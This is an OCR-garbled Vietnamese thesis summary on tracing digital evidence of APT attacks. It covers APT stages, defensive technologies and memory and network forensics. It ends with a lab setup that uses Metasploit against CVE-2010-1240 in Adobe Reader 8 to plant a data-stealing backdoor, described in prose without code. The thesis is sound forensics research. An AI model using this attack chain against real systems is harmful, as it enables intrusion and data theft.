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1. Tinh cap thiét cua deé tai

Ngay nay, cung voi nhu ciu trao doi thong tin, bt budc cac co quan, td chirc phai
hoa minh vao mang toan cau Internet, an toan va bao mat thong tin 1a mot trong nhirng van
dé quan trong hang dau. Cong dong cong nghé thong tin, dic biét dbi voi cac doanh nghiép,
t6 chirc c¢6 ha tang thong tin tién tién hién nay dang phai di mit voi su bién ddi, phirc tap
ting ngdy cla cac nguy co mat an toan thong tin.

Theo hiép hoi An Toan Thong Tin Viét Nam hién nay tdi pham may tinh van dang
lién tuc gia tang, dang chu y 1a sy xuat hién cia tin cong APT (Advanced Persistent
Threats) trong vai nam tré lai day. APT thudng sir dung nhiéu loai phuong phap, cong nghé
tinh vi va phuc tap dé tan cong cac muc ti€u cu thé nhiam dat duoc thong tin mat nhay cam.

Trong thyc té, tir nhidu nim qua, cic co quan chinh phii nhu cac bd nganh, cac doanh
nghiép 16n c6 vai trd dang ké trong nén kinh té nhu nang luong, hang khong, vién thong ...
d3 1a dich ngdm cta toi pham tdn cong APT. Céc hacker truéc ddy phan 16n hoat dong vi
dong co ca nhan, nhung ngdy nay rat nhiéu cudc tan cong APT danh cip dir liéu ngoai dong
co tai chinh con co thé cé dong co chinh tri, ma ding sau n6 1a mot chinh phu hodc mot
qudc gia. Theo dién bién nhu hién nay thi t6i phan tin cong APT s& con lién tuc phat trién
va s& co nhiéu dién bién kho ludng. Vi vdy can phai c6 nhiing bién phap phong chéng va
truy tim chtng cr s6 clia cudc tin cong nay nham gitip cac nha quan tri hé thong dua ra
duoc nhirng phuong an giai quyét hiru hiéu nhat.

Vi nhitng 1y do trén hoc vién chon Dé tai "Nghién ciru phuong phép truy tim ching
ctr s6 ctia tAn cong APT”. Mot dé tai con rat méi va chua dugc nghién ciru sau va rong ciing
nhu chua c6 tai liéu khoa hoc, hodc cong trinh nghién ctru nao cong bo.

2. Tong quan van dé can nghién ciru

T4n cong APT 1a hinh thtc tin cong rat nguy hiém, tdn cong c6 chi dich vao muc
tiéu, dugc thiét ké riéng cho tirng muc tiéu, dé xam nhap vao doi tuong bi tAn cong c6 chira
dir liéu nham tim kiém thong tin va giri ra bén ngoai. APT 14 loai tAn cong 4m tham, khong
pha hong file/may tinh, ching c6 kha ning “an minh” rat kho c6 thé phat hién ra loai tin
cong nay. Cac vu that thoat dir liéu nhu vay da ting xdy ra voi RSA, CitiBank va Global
Payments,...

Trong khudn khd nghién ciru cia Hoc Vién Cong Nghé Buu Chinh Vién Thong di

c6 mot sd dé tai nghién ctru xoay quanh van dé tin cong APT, nhu: dé tai “T4n cong APT
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1én hé théng thong tin va bién phap phong chéng” béo cdo nim 2014 cua Sinh vién Poan
Xuan Quynh. Hay dé tai thac sy k¥ thuat nim 2015 cua Nguyén Khanh Chi: “ Nghién ctru
phuong phap phong chong tan cong APT”. Tuy nhién, chua c6 tai liéu ndo néu dugc cich
truy tim cac ching ctr ciing nhu cac du vét ma ké tin cong dé lai trong cac cudc tan cong
APT, nham giup chung ta c6 thé phong tranh céac 16 hong cta tin cong APT nhim vao.
3. Muc dich nghién ciru
v' Nghién ctru cong nghé tin cong APT: k thut, giai doan, muc dich, phuong phap. ..
v Nghién ctru cac giai phap cong nghé dé phong chdng cudc tin cong APT.
v' Nghién ctru cac phuong phap dé truy tim chimg cir s cua tin cong APT.
v Ung dung cong nghé truy tim chtng ci s6 cta tin cong APT.
4. Poi twong va pham vi nghién ciru
Pbi tugng nghién ciru: Cac phuwong phap, giai phap cong nghé nham truy tim ching
ctr sO cua tan cong APT vao hé thong thong tin.
Pham vi nghién ctru: Cac ky thuat, cac phuong thirc, cac gidi phap, cac cong nghé
moi dé c6 thé truy tim chimg cr s6 ciia tin cong APT 1én hé thong thong tin.
5. Phwong phap nghién ctru
v’ Duya trén co s& 1y thuyét ctia tan cong APT;
v’ Dua trén cac cong nghé truy tim chimg ct sb;
v’ Dua trén dic diém nhan dang cuia cac cudc tin cong mang va dac biét 1a tin cong APT;
Noi dung luan vin gom ba chuong va phan két luan:
Chuong 1: Tong quan vé cudc tdn cong APT va cac giai phap phong chéng tin cong
APT,
Chuong 2: Nghién ctru phuong phap truy tim ching ctr s6 cua tan cong APT.
Chuong 3: M6 phong va thir nghi¢m.
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CHUONG 1: TONG QUAN VE CUQC TAN CONG APT VA CAC GIAI
PHAP PHONG CHONG TAN CONG APT
1.1. Téng quan vé cudc tin cong APT
1.1.1. Khai niém APT
Tén cong APT (Advanced Persistent Threat - tam dich la cac mbi de doa lién tuc
nang cao) 1a hinh thtc tin cong tap trung, c6 chu dich, dugc thiét ké riéng cho ting muc
tiéu, dé xAm nhap vao dbi trong cd chira dir liéu nhdm tim kiém céc thong tin gia tri va giri
ra bén ngoai.
Céc thanh phén cua tir viét tit APT:
v" Advanced (Nang cao)
v’ Persistent (Dai dang)
v' Threat (Nguy co hay mdi de doa)
1.1.2. Cadc dic diém chinh ciia APT
v Targeted (muc tiéu): Hacker xac dinh mot cach chinh xac myc tiéu cy thé dé tin cong va
khai thac toi nhitng t6 chirc, nhitng c4 nhan, nhitng qudc gia, nha nudc cu thé, ...
v" Persistent (Dai dang): Qua trinh tan cong APT dién ra theo nhiéu giai doan khac nhau
trong mot thoi gian dai. Str dung nhiéu céac ki thuét, phuong phap khac nhau dé tan cong vao
muc tiéu dén khi thanh cong.
v" Evasive (Tranh né va an minh): Tan cong APT duoc thiét ké dé c6 thé “qua mat” duoc
hau hét cac giai phap dam bao ATTT truyén thong nhu Firewall, IPS, Antivirus, ...
v Complex (Phitc tap): APT phdi két hop nhiéu cac ki thuat khac nhau mét cach khoa hoc
va bai ban nham nhitng muc tiéu nhiéu 15 hong bao mat trong cac t6 chrc.
v“Céac Malware: Malware 1a thuat ngir chung bao gém nhiéu loai phan mém véi mot diém
chung d6 1a xam nhép thong tin hoac mot hé théng vi mot hodc nhiéu ly do.
v Ky thudt Social Engineering: Trong tin cong APT, ké tan cong sir dung spear-phishing
email (m§t dang phishing) dinh kém véi file c6 vé vo hai ma muc ti€u c6 kha nang sé mé.
v Khai thdc cac 16 hong Zero-day va céc Exploit khac: Zero-day exploit 1a mot 16 hong
trong mot san pham phan mém ma cho phép mot ké tan cong thyc thi ma khong mong muén
hodc gianh quyén kiém soat may tinh ctia muc tiéu.
v“Insiders va Recruits: Insider Attack - tin cong ndi bo. Insider Attack cé mot thé manh rat
16n, vi nhirng gian diép nay duoc phép truy cap vat Iy vao hé théng cong ty, va di chuyén ra

vao tu do trong cong ty.
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v" Forged va Fake Certificates (gia mao ching chi dién tir): Thong thudng céc tin tac sir
dung céc chirng chi SSL gia mao cho cac website khong c6 that va mao danh 1a mdt trang
web hop phép.

1.1.3. Cdc giai doan tin cong APT

e Giai doan Reconnaissance (Tham do/Trinh sat);

e Giai doan Preparation (chuan bi);

e Giai doan Targeting;

e Giai doan Further Access (Leo thang dic quyén);

e Giai doan Data Gathering (P4nh cap dir liéu);

e Giai doan Maintenance and Administration (duy tri sy hién dién).

1.1.4. Sw khdc biét giita APT va cdc hinh thirc tin cong khdc

e Muc tiéu tin cong rd rang, cu thé;

e Thoi gian nghién ciru hé théng tan cong dai;

e Thu thap thdng tin;

e Nhim vao cac diém yéu nhit cua hé thong;

e Duy tri vi€c truy cap dai han;

e Khong pha huy hay lam anh huong dén quy trinh 1am viéc ciia hé thong.

1.2. Cac giai phap phong chdng tin cong APT

1.2.1. Cdc yéu cau doi véi hé thong phong chong tin cong APT
v'Khi dd trién khai cdc gidi phdp phong chong APT trén toan bg hé thong, ching phdi ddm
bao hai nhiém vu chinh nhuw sau:

Phat hién va ngin chian cac mdi de doa dé bao vé hé thdng khoi cac cudc tan cong
trong noi bd ciing nhu tir bén ngoai.

Ung ph6 trong moi tinh hudng gilp tu dong khic phuc va day nhanh chu trinh ng
ctru khi c6 su cé.

v Mot gidi phdp phong chong APT toan dién can dam bdo ba yéu cau sau:

Chéng lai nhitng mdi de doa: Giai phap phong chdng thuc sy can cung cap kha ning
chdng lai cac cudc tin cong nham vao timg giai doan ctia vong doi APT: trudce khi tai vé,
khi ching luu thong trong mang cho dén khi ching da dugc cai dat trén thiét bi dau cudi.

Bao vé dir liéu khoi bi danh cap: Mot giai phap phong chdng toan dién thuc sy s&

tryc tiép phat hién va ngin chin viée tiép can trai phép cac thong tin nhay cam, cé gia tri.
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Phan tich dugc cic van dé an ninh mang: Mot giai phap phong chdng con cung cip
hd so lich sir ctia tat ca cac hoat dong mang, do dé, ban c6 thé "quay nguoc thoi gian” dé
tim kiém nhitng méi de doa ma hé thong khong hé biét tai thoi diém d6. Bao céo linh hoat

1.2.2. Cdc phwong phdp phong chéng tin cong APT
v’ Qudan Ly rui ro

Nhiém vu quan trong nhét trong phong chdng APT d6 13 hiéu vé nhiing gi can bao
vé. “Mdi to chirc phai 1ap ké hoach quan 1y rui ro, phan bo ngan sach va cac ngudn luc dé
bao vé cac tai san c6 gia tri nhat dbi véi cac to chirc.

v Cdc cong nghé
Antivirus:

Antivirus tr& nén quen thudc v6éi mdi ngudi sir dung mdy tinh.
Firewalls:

Tuong ltra c6 mot lich st 1au dai trong viéc ngdn chan hoac cho phép cac goi tin
mang duya trén ngudn gdc va dia chi IP dich va s6 cong.

Penetration Testing:
e Panh gia d6 an toan bang cach tan cong (d4nh tran gia).
e Xac dinh kha nang bi tin cong, kha ning két hop cac nguy co nho thanh méi nguy co 16n.
e Xac dinh cac nguy co ma cac cong cu tu dong khong phat hién duoc.
e Kha ning cuia hé théng trong viéc ngan chan céc loai hinh tan cong.
e Luong hoa cac van dé can dau tu cho bao mat.
Data Leak Prevention (DLP - ngdan chan ro ri dir liéu):
e Tang cuong giam sat luu lwong truy cap cho hoat dong bén ngoai doc .
e Quét email tir ben ngoai va web traffic dé ngan chan dit liéu bi danh cap.
Whitelisting

Network whitelisting c6 thé duoc str dung dé chi cho phép giao van ndi bo nhét dinh
nao do dat duogc céc tai nguyén mang khéc.
Blacklisting:

Trong khi mot whitelist 1a mot danh séch rd rang nhitng gi dugc cho phép thuc hién
hodc truy cap vao céc tai nguyén.

Instrution Prevention(IPS)/Instrution Detection (IDS):
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Bang viéc str dung mot san pham ma cung cap IPS va IDS, mét t6 chirc ¢6 thé thém mot
1p giam sat giao van dé theo sat hoat dong dang nghi.
Two-Factor Authentication (Xdc thiee ding hai nhan t6)

Phuong phép xac thuc dung hai nhan t6 dwgc st dung thong thuong bao gdm
username va password tiéu chuan cong voi mot token xac thuc dua trén phﬁn mém hodc
phan cing, nd cung cdp mat khau sit dung mot 1an, phai nhap vao khi username va
password dugc trinh bay cho cdc may chu xac thuc.

Cai dat “honey pots”:

Honey pots 1a mot hé thong tai nguyén théng tin duoc xay dung v6i muc dich gia
dang danh Itra nhitng ké sir dung va xam nhap khong hop phap.
Web Filtering/IP reputation:

Web filtering dé chan truy cap dén cac trang web khong tét cling nhu cac trang web
chira cac phén mém doc hai.

Thyee thi mét chirong trinh quan 1y 16 hong:

Pam bao thudng xuyén danh gia mang ddi véi cac 16 hong duoc biét. Chay quét xac
thuc 12 vo cling quan trong, cac may tram 1a cac hé thong c6 nguy co cao nhat véi APT.
Network Access Control (NAC - Piéu khién truy cdp mang):

Giai phap kiém tra tinh tuan thil bao mat cta hé thong. NAC 1a mét giai phap co thé
ngin chin cac may tinh trén mang truy cip vao cac ngudn tai nguyén.

Sandboxing:

Sandbox 1a mot k¥ thudt quan trong trong linh vuc bao mat cé tdc dung co 1ap cac
tmg dung, ngin chin cac phan mém doc hai dé ching khong thé lam hong hé thdng may
tinh, hay cai cam cac ma doc nham an cip thong tin c& nhan.

Application Control (Kiém sodt itng dung):

Application Control cho phép xac dinh va kiém soat cac ing dung trén mang, bt ké
cong, giao thirc hay dia chi IP.
Web Gateway:

Web Gateway loc chan virus, Spyware, Phishing, trudc khi ching c6 thé thAm nhap
vao hé thdng, ngin chin nguy co mét di liéu.

Mail Gateway:
Mail Gateway dugc tich hop kha ning phong chéng thu rac nhiéu 16p va chong lira

dao (anti-phishing) str dung bd loc ma doc va phan mém gian diép.



Security for Endpoint:

e Ngan chan virus trén cac may tram.
e Kha ning chdng bung nd virus trong mang cuc bo.
e Kha ning kiém soat viéc truy cap Web cua Client.
e Khaning quan ly tap trung toan bo hé théng phong chdng virus.
e Kbha nang ngan chan Client truy cap toi cac trang web “ddc hai” trén Internet.
Device Control:
Kiém soét dugc thiét bj ngoai vi nao dugc phép sir dung trong don vi hay to chic.
Security Information Event Management (SIEM):
La mot giai phap hoan chinh, day du cho phép céac to chirc thyc hién viéc gidm sat
cac sy kién an toan thong tin cho mot hé théng.
Gidi phép FireEye trong phong chong tan cong APT
Giai phap phong chdng méi hiém hoa thé hé mai cua FireEye (Web, Email, File,
Central Management va Malware Analysis) la giai phap tién phong trong nganh bao mat vai
co ché signature-less, ngian chin cac cudc tan cdng co muc tiéu, zero-day, APT qua céc
kénh Web, Email va File.
e FireEye Web Malware Protection System(MPS)
e FireEye Email Malware Protection System(MPS)
e FireEye File Malware Protection System (MPS)
e FireEye Central Management System(CMS)
e FireEye Malware Analysis System(MAS)
e FireEye Dynamic Threat Intelligence
Viéc tich hop cac giai phap FireEye cho phép tat ca cac URL trong email dugc gui
dén Web MPS vé&i mtc do vu tién cao trong qua trinh phan tich email. Web MPS s& phan
tich khi nguoi ding nhap vao link lién két trong email. Sir dung cing nhau, Email MPS
cung cp phan tich tap tin dinh kém email va bdi canh, Web MPS phan tich cac web URL,
File MPS quét va phan tich file, MAS cung cap cac chi tiét vé malware phuc vu viéc diéu
tra, va CMS tuong quan cac URL doc hai v6i email va nan nhan dua ra cai nhin tong quan

vé cudc tan cong.



8

Tat ca cac phat hién caia MPS Web, File MPS, va Email MPS c6 thé duoc loc boi
CMS dé tich hop vai hé théng phan tich MAS. Vi du, khi MAS duoc két ndi véi CMS, cho
phép tly chon mot mau phan mém doc hai dugc phat hién bai cac email, tap tin, hodc cac hé
thdng Web MPS va "Submit to MAS" dé dua ra cac phan tich sau hon phuc vu viéc diéu tra
cudc tan cong.

* Cong nghé fireeye multiplex virtual execution (vx) engine:

T4t ca céc thiét bi cua FireEye - MAS, MPS Web, MPS Email, va File MPS - thuc
thi file nghi ngo, file dinh kém, tap tin, vd URL. Tu dong quét phan mém doc hai dang nghi
ngo thdng qua mot quy tic (rules) loc dé so sanh né vai céc thiét 1ap hién co duoc biét dén,
sau d6 chuyénqua moi gia 1ap ao cua FireEye (VX) dé duoc thuc thi.

1.2.3. Con nguwoi

Str dung cac cong nghé bao mat 1a chua du, tin cong APT thudng mé dau bang cudce
tan cong spear phishing email do vay viéc dao tao, huan luyén con ngudi ludén phai duoc
thuc hién.

1.3. Két luan chwong

Nhitng két qua dat duoc trong chuong 1 nhu sau:

- Trinh bay c4c van dé co ban nhat vé tin cong APT nhu khai niém, cac dic diém, cac giai
doan chinh va cac cong cu thuong duoc sir dung trong tan cong APT.

- Trinh bay vé su khac biét giira tan cong APT va cac tan cong ma doc truyén théng.

- Trinh bay vé nhiém vu va yéu cau caa hé théng phong chéng tan céng APT can phai co.

- Trinh bay vé cac ky thuat va cac phwong phap co ban dé phong chdng tan cong APT

hién nay.
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CHUONG 2: NGHIEN CUU PHUONG PHAP TRUY TIM CHUNG CU SO

CUA TAN CONG APT

2.1. Tong quan veé chirng cir so.

2.1.1. Khdi nigm chirng cir s6

Chung ¢t s6 (Digital Evidence), hay con goi 1a bang chung dién tir (Electronic

Evidence) 14 moi théng tin c6 gia tri phap 1y dugc luu trit, duge truyén dan trong dang thic

sO va ¢6 gia tri phap 1y trudce toa. Trude khi chdp nhin bang chimg sb, quan toa phai xac

dinh duogc 1a n6 ¢o6 lién quan dén vu an dang xem xét, cho du tinh xac thuc ctia né da duoc

kiém chimg.

2.1.2. Pdc tinh ciia chirng cir so

Admissible (tinh thira nhan)
Authentic (tinh xac thyc)
Reliable (tinh tin cdy)
Believable (tinh dang tin)

. Vi tri cé thé tim théy chitng cik so:

Internet History Files (trong cac tap tin lich st truy cép Internet)

Temporary Internet Files (trong cac tap tin tam sinh ra tir truy cap Internet)
Slack/Unallocated Space (tai khong gian dia chua cap phat/thudc slack cia tap tin)
File Settings, folder structure, file names File Storage Dates (noi luu trir tap tin)
Software/Hardware added (4n/nhiing trong phan mém/phan cimg bo sung)
Sharing Files (trong cac tap tin chia sé)

E-mails (an trong cac e-mail)

2.1.4. Khong gian luu triv

Khéng gian luu trit cta cac 6 dia logic dugc chia thanh cac phan nho bang nhau, c6

kich thudc xac dinh, duoc goi 1 block dia, hay con goi 13 cac don vi cdp phat.

Thong thudng, ca hé diéu hanh va chuong trinh ctia ngudi sir dung it “quan tim” dén

vung dia thudc file slack space va unallocated space, vi thé no sé& 1a noi 1y tuéng dé cac

chuong trinh ma doc, cic doan mi khong mong mudn an giau. Va d6 1a 16 hong ma céc

hacker nham vao cho céc cudc tan cong va dac biét 1a cudc tan cong c6 chu dich APT.



10

2.1.5. Lich si diéu tra sé

T6i pham mAy tinh dau tién xuét hién tir nhitng nam 1960 va lich sir ctia né gin lién
véi lich sir diéu tra so.

Nam 1978, t61 pham may tinh lan dau tién dugc dé cap trong Luat Toi pham may
tinh Floria, voi quy dinh vé viéc chdng stra doi trai phép hay xo6a dit liéu trén mot hé thong
may tinh.

Giai doan nim 1980 dén 1990: Thanh lap cac nhom chuyén nganh cap qudc gia dé
xur 1y cac khia canh k¥ thuat cua viéc diéu tra.

Tir ndm 2000, cac tiéu chuan duoc phat trién dé dap ng yéu cau tiéu chudn hoa; cac
co quan va cac hoi dong khac nhau di cong bé céc tai liéu hudng din k¥ thuat diéu tra sd.

Niam 2002, nhém cong tac khoa hoc vé chiing cir s6 di xuat ban mot bai béo vdi tidu
dé “Cac budc thyc thi diéu tra toi pham mdy tinh” (Best practices for Computer Forensics).

Nam 2004, Hiép dinh vé t0i pham may tinh da duoc ky két boi 43 quéc gia ¢6 hiéu
luc, cac quéc gia thoa thuan lién két véi nhau trong viéc diéu tra cac toi pham lién quan dén
cong nghé cao.

Tir nam 2005, nhiéu tiéu chuan ciia ISO dé cap dén cac yéu cau vé tham quyén gidm
dinh, kiém chuén dugc cong bo.

2.2. K§ thuit truy tim chirng ci so
2.2.1. Khdi niém truy tim chitng cir s6

Truy tim chtng ct s6 (con goi 1a Khoa hoc diéu tra sd) 13 mot nhanh cua nganh khoa
hoc diéu tra dé cap dén viéc phuc hoi va diéu tra cac tai liéu tim théy trong cac thiét bi ky
thuat s6 sau cudc tin cong c6 chu dich.

2.2.2. Muc dich truy tim chirng cir so

Xac dinh nguyén nhan hé théng cong nghé thong tin bi tin cong, tir d6 dua ra giai
phap khic phuc diém yéu nhdm nang cao hién trang an toan ctia hé thong.

Xéc dinh céc hanh vi tdi pham mang may tinh da, dang va s€ lam ddi véi hé théng
mang may tinh.

Khoi phyc thiét hai ma cudc tin cong vao hé théng mang may tinh gy ra: phuc hoi
dir 1i€u, thong tin luu trit trén hé thé)ng da bi pha hoai co6 chu dich.

Thuc hién diéu tra toi pham, tim kiém ching cu s6 nham vach tran toi pham cong

nghé cao, cac hoat dong gian 1an, gian di€p, vi pham phap luat.
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2.2.3. Cdc nguyén tic trong diéu tra chirng civ 56

Ba yéu t0 can ban trong qua trinh diéu tra ching clt s6

Intrusion Response

Hinh 2.4: Ba yéu t6 ciin ban trong qua trinh diéu tra chirng cir s6
V6i mdi canh tam gidc duoc minh hoa trong hinh 2.4 s& dugc thuc hién béi
cac thanh vién nham dem dén két qua cao nhit trong coéng tic truy tim ching ctr va
diéu tra t6i pham cong nghé.
2.2.4. Thoi diém thuee hién truy tim chirng cir
e Khi hé thong bi tAn cong ma chua xac dinh dugc nguyén nhan.
e Khi can thiét khoi phuc dit liéu trén thiét bi, hé théng da bi xoa di.
e Hiéu rd cach lam viée cia hé théng.
e Khi thyuc hién diéu tra toi pham c¢ lién quan dén cong ngh¢ cao.
e PDiéu tra sy gian lan trong t6 chic.
e Piéu tra cac hoat dong gian diép.

2.2.5. Cdc bwéc thuwe hién truy tim chieng cir s6

Mot cude truy tim ching ctr s6 thuong bao gdm 4 giai doan:

e . Tiép nhan

Lap bao
cao

Hinh 2.5: Bon giai doan ciia diéu tra sb
v Chudn bi (Preparation): Budc nay thuc hién viéc mo ta lai thong tin hé thong, nhiing
hanh vi da xay ra, cac diu hiéu dé xac dinh pham vi diéu tra, muc dich cling nhu cac tai

nguyén can thiét s& sir dung trong subt qué trinh diéu tra.
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v Tiép nhdn di liéu (Acquisition): Tiép nhan dit liéu 13 budc tao ra mot ban sao chinh xéac
cac dir liéu (chimg ctr s6) hay con goi 13 nhan ban diéu tra cic phuong tién truyén thong. Dé
dam bao tinh toan ven cua chimg ctr thu dugc thi nhitng dit 1iéu nay phai duoc sir dung mot
ky thuat mat mai 1a “bam” dir liéu, trong qua trinh diéu tra cin phai xac minh d6 chinh xac
cua cac ban sao thu duoc.
v Phan tich (Analysis): La giai doan cac chuyén gia sir dung cac phuong phap nghiép vu,
cac k¥ thuat ciing nhu cong cu khac nhau dé trich xut, thu thip va phan tich cic bing
chung thu duge.
v" Ldp bao cdo (Reporting): Sau khi thu thidp dwoc nhirng chirng cr ¢ gia tri va c6 tinh
thuyét phuc thi tit ca phai duoc tai liéu hoa lai rd rang, chi tiét va bao cdo lai cho bd phan co
trach nhiém xir Iy chtng cit thu dugc, cac chuyén gia phan tich phai dua ra cac ky thuat diéu
tra, cic cong nghé, phuong thirc duoc sir dung, ciing nhu cac chimg ctr thu duoc, tat ca phai
duoc giai thich rd rang trong bao cdo qua trinh diéu tra.
2.3. Truy tim ching cir s6 clia cudc tan cong APT

2.3.1. Ky thudt phén tich bg nho

K¥ thuat phan tich b nhé (Memory Forensics) la k§ thuat diéu tra may tinh bing
viéc ghi lai bd nhé RAM cuia hé thong thoi diém c6 dau hiéu nghi ngd, hodc dang bi tin
cong dé tién hanh diéu tra, gitip cho viéc xac dinh nguyén nhan ciing nhu cac hanh vi da xay
ra trén hé thdng, cung cip cac ching ctr phuc vu cho viée xtr Iy toi pham.

v Phwong phdp dé c6 dwge b nhé RAM:

Dé c6 duoc bd nhd RAM va phan tich RAM déu tién chuyén vién phan tich phai biét
sir dung k¥ thuat dé thu lai (Acquisition). C6 2 phuong phap dé thu lai bd nhd RAM:

Thu lai bo nhé RAM dua trén phan ctng lién quan dén viéc tam ngung qua trinh xir
1y cua may tinh va thuc hién truy cp b nhd truc tiép dé c6 dugc mot ban sao ciia bd nhd,
n6 duge coi 14 tin cay hon vi ngay ca khi hé diéu hanh va phan mém trén hé thong di bi xam
nhdp hodc bi lam sai béi ké tan cong, ching ta van ¢6 thé nhan duoc mot hinh anh chinh xac
ctia bd nhd, boi vi ching ta khong phu thudc vao cac thanh phan cia hé thong.

Thu lai bo nhé RAM duya trén phan mém hién nay 13 k§y thuat thuong duoc sir dung
pho bién bang viéc sir dung bd cong cu dang tin cdy dugc phat trién va cung cip boi cac

chuyén gia diéu tra so.
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v Vai tro cua ky thudt phan tich bo nhé
Khoa hoc diéu tra s6 di ching minh vai trd quan trong cta phan tich bd nhd, viée diéu
tra bd nhd RAM noi ma dit liéu ludn san sang dé ghi lai va phan tich, cung cip nhiing
chtng ctr rat co gia tri, nd vuot qua mot sd han ché cua cac phuong phéap diéu tra truyén
thdng (phén tich dia vat 1y), giai quyét cac vin dé ma cac cong nghé méi nhu ma hoa co thé
gay ra kho khan trong qua trinh diéu tra.
Mot han ché khéc nita cua phuong phap diéu tra truyén théng d6 1a ngudi phan tich s&
khong du kha niang trong viéc kham phé nhiing thong tin vé cac tién trinh dang chay trong
bd nhé, do d6 dé bo qua viée diéu tra cac ung dung, dang duoc h¢ théng st dung tai thoi
diém cudc tan cong dién ra, ciing nhu cac dit liéu dugc che gidu trong bd nhd. Nhung d6i
v6i Memory Forensics, thi ddy 1a mot viéc kha dé dang. Chinh vi vay viéc phén tich diéu tra
bd nhd RAM cho chiing ta cai nhin siu sic nhat, chinh x4c nhat vé nhiing gi dang dién ra
trén hé thong tai thoi diém hé théng dang bi tn cong.
v’ Ung dung ciia ky thudt Memory Forensics
Vi tit ca moi thir trudce khi nap vao hé didu hanh déu di qua RAM nén ky thuét
Memory Forensics c6 ing dung rat 16n trong trong viéc diéu tra bao gom:
e Cic tién trinh dang chay trén hé thong
e Cic tap tin dang m¢ va Registry Handles
e Cac két ndi mang dang c6 trong hé thong
e Mat khau va cac khoa mat ma
e Cac tap tin bi x6a
e Ma doc hai va céc tap tin bi 1ay nhiém
Mot sb cong cu thuong dung khi thyc hién diéu tra b nho: Volatility, Mandiant
Redline, SANS Investigate Forensic Toolkit (SIFT) Workstation.
2.3.2. Ky thudt diéu tra mang
Piéu tra mang (Network Forensics) 1a mot nhanh cua khoa hoc diéu tra sd lién quan
dén viéc giam sat va phan tich luu lwong mang mdy tinh nham phuc vu cho viéc thu thap
thong tin, chimg cir phap 1y hay phat hién cic xam nhédp vao hé théng may tinh nay.
Diéu tra mang bao gém viéc chin bat, ghi am va phan tich cac sy kién mang dé

kham pha ngudn gdc cua cac cude tan cong hodc su c6 cia mot van dé€ nao do.
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v Vai tro ciia phdn tich diéu tra mang

Sy ting truong cua cac két ndi mang va sy phirc tap trong cic hoat dong trén mang
da di kém v6i sy gia ting sb lugng t6i pham mang budc ca doanh nghiép ciing nhu co quan
thuc thi phap luat phai vao cudc dé thuc hién cac diu tra, phan tich. Cong viéc ndy cd
nhing khé khin dic biét trong thé gidi 4o, van dé 16n d6i voi mot diéu tra vién 1a hiéu duoc
nhing dit liéu s6 & mrc thap nhat cling nhu viée sip xép, tai tao lai ching.
v"Ung dung ciia phén tich diéu tra mang

Muc tiéu quan trong nhit cta phan tich diéu tra mang 1a cung cip day du chung
ctr dé 6 thé khoi t mot toi pham hinh su.

Diéu tra mang la mdt loai hinh diéu tra quan trong voi mo hinh an toan mang, tap
trung vao viéc chan bat va phan tich cac goéi tin trén mang cling nhu céac su kién cho muc
dich diéu tra, cung cip ching ¢t s6 vé toi pham mang. Bén canh d6, diéu tra mang ciing dt
ra mot thach thirc méi d6i v6i hé théng tu phap va cac nha hoach dinh phép luat xay dung
cac quy dinh, ché tai phi hop v6i su phat trién caa loai hinh diéu tra, phong chong t6i pham
cong nghé cao nay.

Cong cu thuong dung: Wireshark, Tcpdump, Network Miner, Wildpackets, Bro ids,
Xplico, Snort,...

2.4. Két luan chwong
Nhu vay trong chuong 2 luan vin di nghién ctru cic van dé sau:

Phan dau chuong 2 cia luan vin dé cdp dén cac khai niém co ban, cac thuat ngi
chuyén nganh, cac phuong phap tiép cén, cac chinh sach va cac nguyén tic co ban trong quéa
trinh truy tim chimg ¢t sb. Tir d6 dua ra céi nhin tong quat vé linh vuc truy tim chimg ctr s6
dé co thé hd trg mot cach hiéu qua trong viée truy tim thong tin ctia cac cudc tin cong.

Trinh bay mot s6 phuong phéap va k¥ thuit co ban duoc ap dung dé truy tim chimg cr
s6 cua cudc tan cong APT. Qua trinh phan tich chi ra rang: ¢6 2 phuong phap dugc ap dung
hién nay dé truy tim chimg cr s6 cua tin cong APT 13 k§ thuét truy tim ching ct sb dwa
trén viéc phan tich bd nhé va mang. Trong ludn van sé ap dung k§y thuat phan tich by nhé dé
truy tim chtng ct s6 cua tdn cong APT.

Nghién ciru va gi6i thiéu cac cong cu hd trg truy tim ching ctr s6 cua cudc tin

cong APT.
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CHUONG 3: MO PHONG VA THU NGHIEM
3.1. Gi6i thiéu vé cac cong cu thwe hién mé phong
3.1.1. VMware Workstation 10

May 40 13 mot chuwong trinh déng vai tro nhu mot may vi tinh 4o0. N6 chay trén hé diéu
hanh hién tai (hé diéu hanh chu) va cung cip phan ctng 4o toi hé diéu hanh khach. VMware
12 mot phan mém 4o héa mdy tinh manh mé danh cho cac nha phat trién, kiém tra phan mém
va cc chuyén gia IT can chay nhiéu hé diéu hanh cting mot lac trén mot may PC.

Churc nang cua VMware:

v Giap mot mdy tinh c6 thé chay song song nhiéu hé diéu hanh.

v’ Giup khai thac t6i da cong suit c6 thé ciia mdy tinh.

v' Tang tinh linh hoat khi nang cap phan cting

3.1.2. Kali Linux

Kali Linux 1a mot OS rat hitu ich dbi voi nhitng chuyén gia danh gia bao mat, mot
OS tip hop va phan loai gan nhu tt ca cac cong cu thiét yéu ma bat ky mot chuyén gia danh
gia bao mat nao ciling can sir dung dén khi tac nghiép.

3.1.3. L6 héng CVE-2010-1240

Lb hong CVE-2010-1240 c6 thé gdy ra mot sy xam nhap trai phép va c6 kha ning
cho phép ké tin cong kiém soat ctia hé thong bi anh hudng.

Khi nguoi dung md mot file PDF thi ké tan cong s& lam cho may tinh tu kich hoat
doan ma javascript va file SWF c6 chtra ma doc. Mot khi cong doan dau da thanh cong, ma
doc s€ "tha" mot tép tin nhi phan vao may tinh bi nhiém. Cudi cung, file doc s€ hoat dong
nhu mot Trojan cira sau va bat dau gui cac thong tin quan trong ma nd lay cap duoc tir hé
thdng bi 1ay nhiém vé mot may chu tir xa.

L5 hong CVE-2010-1240 nay sé& 13 vi tri tin cong ma cac phan mém diét virus hién
chua thé xac dinh duoc
3.2. Thue nghiém tan cong APT

v/ May tan cong: Str dung HPH Kali Linux 2.0.

v May nan nhan: Windows XP ¢6 cai dit phan mém Adobe Reader 8.
v" Cong cu: Metasploit.

v' Céc 16 hong khai thac: CVE-2010-1240.


http://vatgia.com/846/server-may-chu.html
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3.2.1. Kich bdn tin cong

M6t nhan vién trong cong ty X duoc cdng ty cung cip may tinh dé l1am viéc. Trén

may tinh nady van con dang sir dung cac hé diéu hanh va cac phan mém Ii thoi nhu Win
XP, Adobe Reader 8.

Loi dung diéu ndy mot ké tan cong da tin cong vao may tinh nhan vién va danh cip
cac dir liéu quan trong dé ban lai cho cong ty ddi thu.

